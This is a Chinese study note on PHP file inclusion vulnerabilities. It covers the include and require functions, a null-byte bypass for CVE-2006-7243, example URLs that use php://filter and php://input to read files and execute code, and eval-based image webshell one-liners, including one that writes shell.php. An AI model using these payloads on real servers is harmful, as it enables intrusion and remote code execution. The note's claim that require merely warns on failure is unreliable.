【笔记】PHP文件包含

前言

文件包含代码及漏洞
文件包含是指在当前PHP位置引入其他PHP文件的所有代码

文件包含

include

  • 可以包含相同文件多次
  • 当引入失败后,后面的代码能正常执行

<file_php>:其他php文件

1
include "<file_php>";
1
include("<file_php>");

include_once

  • 如果包含相同文件多次,只有第一次生效
  • 当引入失败后,后面的代码能正常执行
1
include_once "<file_php>";
1
include_once("<file_php>");

require

  • 可以包含相同文件多次
  • 当引入失败后,不会结束脚本运行,只是产生警告,后面的代码不能正常执行
1
require "<file_php>";
1
require("<file_php>");

require_once

  • 如果包含相同文件多次,只有第一次生效
  • 当引入失败后,直接结束脚本运行,后面的代码不能正常执行
1
require_once "<file_php>";
1
require_once("<file_php>");

可能出现漏洞的代码

  • Web应用实现了动态包含
  • 动态包含的文件路径参数,客户端可控
1
include $_GET['path'];

防御绕过

  • 编号:CVE-2006-7243

前提

  • PHP小于5.3.4
  • 防御方法是为包含的文件追加后缀名
1
include $_GET['path'].".html";
  • 配置文件中关闭了魔术引号

如果不关闭魔术引导,%00会变为\0

php/php.ini
1
magic_quotes_gpc = Off;

绕过方法

  • 使用空字节绕过,原理类似于00截断

<file_php>:PHP文件

1
http://example.com/index.php?path=<file_php>%00

漏洞利用

  • 通常要与文件上传配合

读取文件

  • http://example.com/index.php?path=c:\windows\System32\drivers\etc\hosts

访问本地文件

  • http://example.com/index.php?path=file://c:\windows\System32\drivers\etc\hosts

获取PHP文件内容的base64编码

  • 前提:配置文件开启远程文件包含

<file_php>:远程文件

  • http://example.com/index.php?path=php://filter/read=convert.base64-encode/resource=<file_php>

执行PHP命令

  • 前提:配置文件开启远程文件包含

  • 请求地址:http://example.com/index.php?path=php://input

  • 请求体:php代码

图片木马

  • 直接上传图片马

<pwd>:连接密码

  • 右键图片文件->属性->详细信息->版权<?php eval($_REQUEST["<pwd>"]);?>

利用图片写木马

  • 先上传图片马,然后让图片马写入木马到其他文件

shell.php:写入的文件名

  • 右键图片文件->属性->详细信息->版权<?php fputs(fopen('shell.php','w'),"<?php eval($_REQUEST["<pwd>"]);?>");?>

相关配置

php/php.ini
1
2
3
4
5
# 无论开关都不能关闭文件包含功能
allow_url_fopen=On

# 是否可以通过PHP伪协议(php://)加载文件
allow_url_include=Off

完成

参考文献

哔哩哔哩——千锋教育网络安全学院